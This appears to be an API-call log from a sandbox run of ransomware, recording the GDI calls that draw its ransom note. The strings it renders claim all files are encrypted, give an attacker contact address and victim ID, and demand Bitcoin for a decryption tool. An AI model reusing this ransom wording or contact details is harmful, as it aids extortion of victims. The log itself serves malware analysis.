[0103.579] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00017
[0103.579] GetROP2 (hdc=0x90101e7) returned 13
[0103.579] SetBkMode (hdc=0x90101e7, mode=2) returned 1
[0103.579] Rectangle (hdc=0x90101e7, left=943, top=102, right=1159, bottom=125) returned 1
[0103.579] SetBkMode (hdc=0x90101e7, mode=1) returned 2
[0103.579] SelectObject (hdc=0x90101e7, h=0x1b00017) returned 0x1b00016
[0103.579] SelectObject (hdc=0x90101e7, h=0x1900010) returned 0xe1001e8
[0103.580] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x497f80 | out: hHeap=0x450000) returned 1
[0103.580] LsDisplayLine () returned 0x0
[0103.580] SelectObject (hdc=0x90101e7, h=0x60a0200) returned 0x80a0204
[0103.580] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.580] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.580] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.580] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.580] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x258) returned 0x4e0ec8
[0103.580] _CIatan2 () returned 0x20
[0103.580] _CIatan2 () returned 0x20
[0103.580] ExtTextOutW (hdc=0x90101e7, x=12, y=119, options=0x4, lprect=0x1c8498, lpString="All your files have been encrypted due to a security problem with your PC. If you want to restore them, write us to the e-mail \xfdeffiasco911@protonmail.com\xfdef crypt all your files. ", c=0x79, lpDx=0x4e0ec8) returned 1
[0103.580] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4e0ec8 | out: hHeap=0x450000) returned 1
[0103.580] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.580] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.580] SelectObject (hdc=0x90101e7, h=0x60a0200) returned 0x60a0200
[0103.580] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.580] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.581] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.581] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.581] _CIatan2 () returned 0x20
[0103.581] _CIatan2 () returned 0x20
[0103.581] ExtTextOutW (hdc=0x90101e7, x=901, y=119, options=0x4, lprect=0x1c8498, lpString="-mail \xfdeffiasco911@protonmail.com\xfdef crypt all your files. ", c=0x1, lpDx=0x1c84d0) returned 1
[0103.581] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.581] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.581] SelectObject (hdc=0x90101e7, h=0x60a0200) returned 0x60a0200
[0103.581] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.581] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.581] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.581] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.581] _CIatan2 () returned 0x20
[0103.581] _CIatan2 () returned 0x20
[0103.581] ExtTextOutW (hdc=0x90101e7, x=907, y=119, options=0x4, lprect=0x1c8498, lpString="mail \xfdeffiasco911@protonmail.com\xfdef crypt all your files. ", c=0x5, lpDx=0x1c84d0) returned 1
[0103.581] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.581] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.581] SelectObject (hdc=0x90101e7, h=0x60a0200) returned 0x60a0200
[0103.581] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.581] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.581] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.581] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.582] _CIatan2 () returned 0x20
[0103.582] _CIatan2 () returned 0x20
[0103.582] ExtTextOutW (hdc=0x90101e7, x=948, y=119, options=0x4, lprect=0x1c8498, lpString="fiasco911@protonmail.com\xfdef crypt all your files. ", c=0x18, lpDx=0x1c84d0) returned 1
[0103.583] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.583] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.584] SelectObject (hdc=0x90101e7, h=0x60a0200) returned 0x60a0200
[0103.584] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.584] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.584] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.584] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.584] _CIatan2 () returned 0x20
[0103.584] _CIatan2 () returned 0x20
[0103.584] ExtTextOutW (hdc=0x90101e7, x=1158, y=119, options=0x4, lprect=0x1c8498, lpString=" ", c=0x1, lpDx=0x1c84d0) returned 1
[0103.584] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.584] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.584] LsDestroyLine () returned 0x0
[0103.584] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.585] LsSetDoc () returned 0x0
[0103.585] LsCreateLine () returned 0x0
[0103.585] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.586] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.586] LsQueryLineCpPpoint () returned 0x0
[0103.586] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x50) returned 0x497f80
[0103.586] UnionRect (in: lprcDst=0x1c8c48, lprcSrc1=0x1c8c48, lprcSrc2=0x1c8c24 | out: lprcDst=0x1c8c48) returned 1
[0103.586] IntersectRect (in: lprcDst=0x1c8b14, lprcSrc1=0x1cf1ec, lprcSrc2=0x1c8b14 | out: lprcDst=0x1c8b14) returned 1
[0103.587] SelectObject (hdc=0x90101e7, h=0xe1001e8) returned 0x1900010
[0103.587] GetStockObject (i=8) returned 0x1b00016
[0103.587] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00017
[0103.587] GetROP2 (hdc=0x90101e7) returned 13
[0103.587] SetBkMode (hdc=0x90101e7, mode=2) returned 1
[0103.587] Rectangle (hdc=0x90101e7, left=92, top=127, right=159, bottom=150) returned 1
[0103.587] SetBkMode (hdc=0x90101e7, mode=1) returned 2
[0103.587] SelectObject (hdc=0x90101e7, h=0x1b00017) returned 0x1b00016
[0103.587] SelectObject (hdc=0x90101e7, h=0x1900010) returned 0xe1001e8
[0103.587] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x497f80 | out: hHeap=0x450000) returned 1
[0103.587] LsDisplayLine () returned 0x0
[0103.587] SelectObject (hdc=0x90101e7, h=0x60a0200) returned 0x60a0200
[0103.587] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.587] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.587] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.587] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.587] _CIatan2 () returned 0x20
[0103.587] _CIatan2 () returned 0x20
[0103.588] ExtTextOutW (hdc=0x90101e7, x=12, y=144, options=0x4, lprect=0x1c8498, lpString="You PC id: \xfdef4paNrg\xfdef been encrypted due to a security problem with your PC. If you want to restore them, write us to the e-mail \xfdeffiasco911@protonmail.com\xfdef crypt all your files. ", c=0xb, lpDx=0x1c84d0) returned 1
[0103.588] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.588] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.588] SelectObject (hdc=0x90101e7, h=0x60a0200) returned 0x60a0200
[0103.588] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.588] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.588] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.588] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.588] _CIatan2 () returned 0x20
[0103.588] _CIatan2 () returned 0x20
[0103.588] ExtTextOutW (hdc=0x90101e7, x=97, y=144, options=0x4, lprect=0x1c8498, lpString="4paNrg\xfdef been encrypted due to a security problem with your PC. If you want to restore them, write us to the e-mail \xfdeffiasco911@protonmail.com\xfdef crypt all your files. ", c=0x6, lpDx=0x1c84d0) returned 1
[0103.588] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.588] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.588] SelectObject (hdc=0x90101e7, h=0x60a0200) returned 0x60a0200
[0103.588] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.588] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.588] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.588] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.588] _CIatan2 () returned 0x20
[0103.588] _CIatan2 () returned 0x20
[0103.588] ExtTextOutW (hdc=0x90101e7, x=158, y=144, options=0x4, lprect=0x1c8498, lpString=" ", c=0x1, lpDx=0x1c84d0) returned 1
[0103.588] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.588] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.588] LsDestroyLine () returned 0x0
[0103.588] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.588] SelectObject (hdc=0x90101e7, h=0x18a002e) returned 0x60a0200
[0103.589] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.589] BitBlt (hdc=0x330107bc, x=0, y=152, cx=1324, cy=150, hdcSrc=0x90101e7, x1=0, y1=0, rop=0xcc0020) returned 1
[0103.589] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x49d7b8 | out: hHeap=0x450000) returned 1
[0103.589] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x44) returned 0x49d7b8
[0103.589] IntersectRect (in: lprcDst=0x1c9eec, lprcSrc1=0x1c9eec, lprcSrc2=0x1c9ebc | out: lprcDst=0x1c9eec) returned 1
[0103.589] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.589] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9dc0 | out: lprcDst=0x4967b8) returned 1
[0103.589] IntersectRect (in: lprcDst=0x1c9dc0, lprcSrc1=0x1c9dc0, lprcSrc2=0x4967c8 | out: lprcDst=0x1c9dc0) returned 1
[0103.589] GetDeviceCaps (hdc=0x90101e7, index=2) returned 1
[0103.589] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x30) returned 0x4b2cd0
[0103.589] ExtCreateRegion (lpx=0x0, nCount=0x30, lpData=0x4b2cd0) returned 0x11040259
[0103.589] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b2cd0 | out: hHeap=0x450000) returned 1
[0103.589] SelectClipRgn (hdc=0x90101e7, hrgn=0x11040259) returned 2
[0103.589] DeleteObject (ho=0x11040259) returned 1
[0103.589] SelectObject (hdc=0x90101e7, h=0x51007c0) returned 0x1900010
[0103.589] PatBlt (hdc=0x90101e7, x=2, y=0, w=1303, h=150, rop=0xf00021) returned 1
[0103.590] SelectObject (hdc=0x90101e7, h=0x1900010) returned 0x51007c0
[0103.590] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9edc | out: lprcDst=0x4967b8) returned 1
[0103.590] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9efc | out: lprcDst=0x4967b8) returned 1
[0103.590] IntersectRect (in: lprcDst=0x1c9a88, lprcSrc1=0x1c9a88, lprcSrc2=0x1c9a58 | out: lprcDst=0x1c9a88) returned 1
[0103.590] IntersectRect (in: lprcDst=0x496840, lprcSrc1=0x496840, lprcSrc2=0x1c9a78 | out: lprcDst=0x496840) returned 1
[0103.590] IntersectRect (in: lprcDst=0x1c9bb4, lprcSrc1=0x1c9bb4, lprcSrc2=0x1c9b84 | out: lprcDst=0x1c9bb4) returned 1
[0103.590] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.590] IntersectRect (in: lprcDst=0x1c9a98, lprcSrc1=0x1c9a98, lprcSrc2=0x4967c8 | out: lprcDst=0x1c9a98) returned 0
[0103.590] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9a88 | out: lprcDst=0x4967b8) returned 1
[0103.590] IntersectRect (in: lprcDst=0x1c9a88, lprcSrc1=0x1c9a88, lprcSrc2=0x4967c8 | out: lprcDst=0x1c9a88) returned 1
[0103.590] GetDeviceCaps (hdc=0x90101e7, index=2) returned 1
[0103.590] IntersectRect (in: lprcDst=0x1c9884, lprcSrc1=0x1cf1ec, lprcSrc2=0x1c9884 | out: lprcDst=0x1c9884) returned 1
[0103.590] SelectObject (hdc=0x90101e7, h=0x1110020a) returned 0x1900010
[0103.590] GetStockObject (i=8) returned 0x1b00016
[0103.590] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00017
[0103.590] GetROP2 (hdc=0x90101e7) returned 13
[0103.590] SetBkMode (hdc=0x90101e7, mode=2) returned 1
[0103.590] Rectangle (hdc=0x90101e7, left=2, top=0, right=1306, bottom=151) returned 1
[0103.590] SetBkMode (hdc=0x90101e7, mode=1) returned 2
[0103.590] SelectObject (hdc=0x90101e7, h=0x1b00017) returned 0x1b00016
[0103.591] SelectObject (hdc=0x90101e7, h=0x1900010) returned 0x1110020a
[0103.591] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9ba4 | out: lprcDst=0x4967b8) returned 1
[0103.591] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9bc4 | out: lprcDst=0x4967b8) returned 1
[0103.591] IntersectRect (in: lprcDst=0x1c9720, lprcSrc1=0x1c9720, lprcSrc2=0x1c96b0 | out: lprcDst=0x1c9720) returned 1
[0103.591] IntersectRect (in: lprcDst=0x496840, lprcSrc1=0x496840, lprcSrc2=0x1c9740 | out: lprcDst=0x496840) returned 1
[0103.591] IntersectRect (in: lprcDst=0x1c984c, lprcSrc1=0x1c984c, lprcSrc2=0x1c975c | out: lprcDst=0x1c984c) returned 1
[0103.591] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.591] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c986c | out: lprcDst=0x4967b8) returned 1
[0103.591] IntersectRect (in: lprcDst=0x1c984c, lprcSrc1=0x1c984c, lprcSrc2=0x1c975c | out: lprcDst=0x1c984c) returned 1
[0103.591] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.591] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c986c | out: lprcDst=0x4967b8) returned 1
[0103.591] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c988c | out: lprcDst=0x4967b8) returned 1
[0103.591] IntersectRect (in: lprcDst=0x1c938c, lprcSrc1=0x1c938c, lprcSrc2=0x1c9240 | out: lprcDst=0x1c938c) returned 1
[0103.591] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.591] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c938c | out: lprcDst=0x4967b8) returned 1
[0103.591] IntersectRect (in: lprcDst=0x1c92f0, lprcSrc1=0x1c92f0, lprcSrc2=0x4967c8 | out: lprcDst=0x1c92f0) returned 1
[0103.591] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c92a4 | out: lprcDst=0x4967b8) returned 1
[0103.591] GetDeviceCaps (hdc=0x90101e7, index=2) returned 1
[0103.591] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.591] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x0
[0103.591] LsSetDoc () returned 0x0
[0103.591] LsCreateLine () returned 0x0
[0103.591] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.592] LsDisplayLine () returned 0x0
[0103.592] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x18a002e
[0103.592] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.593] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.593] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.593] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.593] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x2bc) returned 0x4e0ec8
[0103.593] _CIatan2 () returned 0x20
[0103.593] _CIatan2 () returned 0x20
[0103.593] ExtTextOutW (hdc=0x90101e7, x=12, y=19, options=0x4, lprect=0x1c8498, lpString="You have to pay for decryption in Bitcoins. The price depends on how fast you write to us. After payment we will send you the decryption tool that will decrypt all your files. ", c=0xaf, lpDx=0x4e0ec8) returned 1
[0103.593] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4e0ec8 | out: hHeap=0x450000) returned 1
[0103.593] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.593] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.593] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0103.593] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.593] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.593] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.593] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.593] _CIatan2 () returned 0x20
[0103.593] _CIatan2 () returned 0x20
[0103.593] ExtTextOutW (hdc=0x90101e7, x=1131, y=19, options=0x4, lprect=0x1c8498, lpString=" ", c=0x1, lpDx=0x1c84d0) returned 1
[0103.593] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.593] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.593] SelectObject (hdc=0x90101e7, h=0x30a01ff) returned 0x30a01ff
[0103.593] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0103.593] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0103.594] GetTextAlign (hdc=0x90101e7) returned 0x0
[0103.594] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0103.594] _CIatan2 () returned 0x20
[0103.594] _CIatan2 () returned 0x20
[0103.594] ExtTextOutW (hdc=0x90101e7, x=1136, y=19, options=0x4, lprect=0x1c8498, lpString=" ", c=0x1, lpDx=0x1c84d0) returned 1
[0103.596] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0103.596] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.596] LsDestroyLine () returned 0x0
[0103.596] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.596] LsGetRubyLsimethods () returned 0x0
[0103.596] LsGetTatenakayokoLsimethods () returned 0x0
[0103.596] LsGetHihLsimethods () returned 0x0
[0103.596] LsGetWarichuLsimethods () returned 0x0
[0103.596] LsGetReverseLsimethods () returned 0x0
[0103.596] LsCreateContext () returned 0x0
[0103.596] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x670) returned 0x503268
[0103.596] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6948
[0103.597] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x110) returned 0x4972e0
[0103.597] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6978
[0103.597] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x2e4) returned 0x5004d0
[0103.597] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x501328
[0103.597] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x5011c0
[0103.597] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xa0) returned 0x4c7d10
[0103.597] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x503cf0
[0103.597] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x501210
[0103.597] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x5011e8
[0103.597] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x501378
[0103.597] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x5013a0
[0103.597] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x400) returned 0x5007c0
[0103.597] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x4bd820
[0103.597] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x4bd840
[0103.597] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x4bd830
[0103.597] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x4bd810
[0103.597] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x128) returned 0x48b598
[0103.598] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x11c) returned 0x4954a0
[0103.598] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x108) returned 0x4f1790
[0103.598] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x130) returned 0x4e1f50
[0103.598] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x110) returned 0x500fc8
[0103.598] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x278) returned 0x508e08
[0103.598] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xc8) returned 0x509088
[0103.598] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x190) returned 0x509158
[0103.598] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x78) returned 0x462cf0
[0103.598] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf0) returned 0x4f2fe8
[0103.598] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x4c) returned 0x497f80
[0103.598] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x194) returned 0x5092f0
[0103.598] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xc8) returned 0x509490
[0103.598] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x190) returned 0x509560
[0103.598] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x108) returned 0x4f1678
[0103.598] LsSetModWidthPairs () returned 0x0
[0103.599] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x240) returned 0x5096f8
[0103.599] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc160
[0103.599] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.599] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.599] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.599] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.599] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x503d38, Size=0x60) returned 0x49ec48
[0103.599] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.599] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.599] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.599] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.599] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.600] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.600] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.600] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.600] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.600] IsRectEmpty (lprc=0x49ec58) returned 0
[0103.600] IsRectEmpty (lprc=0x49ec68) returned 0
[0103.600] IsRectEmpty (lprc=0x49ec78) returned 0
[0103.600] IsRectEmpty (lprc=0x49ec88) returned 0
[0103.600] IsRectEmpty (lprc=0x49ec98) returned 0
[0103.600] IntersectRect (in: lprcDst=0x1c8c3c, lprcSrc1=0x1c8ef8, lprcSrc2=0x1c8c3c | out: lprcDst=0x1c8c3c) returned 1
[0103.600] IsRectEmpty (lprc=0x1c8c3c) returned 0
[0103.600] IntersectRect (in: lprcDst=0x1c8b8c, lprcSrc1=0x1cf1ec, lprcSrc2=0x1c8b8c | out: lprcDst=0x1c8b8c) returned 1
[0103.600] SelectObject (hdc=0x90101e7, h=0xe1001e8) returned 0x1900010
[0103.600] GetStockObject (i=8) returned 0x1b00016
[0103.600] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00017
[0103.600] GetROP2 (hdc=0x90101e7) returned 13
[0103.600] SetBkMode (hdc=0x90101e7, mode=2) returned 1
[0103.600] Rectangle (hdc=0x90101e7, left=12, top=40, right=1296, bottom=151) returned 1
[0103.600] SetBkMode (hdc=0x90101e7, mode=1) returned 2
[0103.600] SelectObject (hdc=0x90101e7, h=0x1b00017) returned 0x1b00016
[0103.600] SelectObject (hdc=0x90101e7, h=0x1900010) returned 0xe1001e8
[0103.600] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x30) returned 0x4b2cd0
[0103.600] ExtCreateRegion (lpx=0x0, nCount=0x30, lpData=0x4b2cd0) returned 0x12040259
[0103.600] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b2cd0 | out: hHeap=0x450000) returned 1
[0103.601] SelectClipRgn (hdc=0x90101e7, hrgn=0x12040259) returned 2
[0103.601] DeleteObject (ho=0x12040259) returned 1
[0103.601] _CIsqrt () returned 0x3f1a027f
[0103.601] _CIsqrt () returned 0x3f1a027f
[0103.601] _CIatan2 () returned 0x20
[0103.601] _CIatan2 () returned 0x20
[0103.601] GetStockObject (i=8) returned 0x1b00016
[0103.601] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00017
[0103.601] GetViewportOrgEx (in: hdc=0x90101e7, lppoint=0x1c8aac | out: lppoint=0x1c8aac) returned 1
[0103.601] CreateSolidBrush (color=0x28b0000) returned 0x61001e2
[0103.601] SelectObject (hdc=0x90101e7, h=0x61001e2) returned 0x1900010
[0103.601] UnrealizeObject (h=0x61001e2) returned 1
[0103.601] SetBrushOrgEx (in: hdc=0x90101e7, x=12, y=-288, lppt=0x0 | out: lppt=0x0) returned 1
[0103.601] MulDiv (nNumber=0, nNumerator=10, nDenominator=10) returned 0
[0103.601] MulDiv (nNumber=0, nNumerator=0, nDenominator=10) returned 0
[0103.601] MulDiv (nNumber=0, nNumerator=0, nDenominator=10) returned 0
[0103.601] MulDiv (nNumber=0, nNumerator=10, nDenominator=10) returned 0
[0103.601] Polygon (hdc=0x90101e7, apt=0x1c89d0, cpt=4) returned 1
[0103.601] SelectObject (hdc=0x90101e7, h=0x1900010) returned 0x61001e2
[0103.601] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.602] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.602] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.602] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.602] IsRectEmpty (lprc=0x1c8af4) returned 0
[0103.602] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.602] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.603] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.603] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
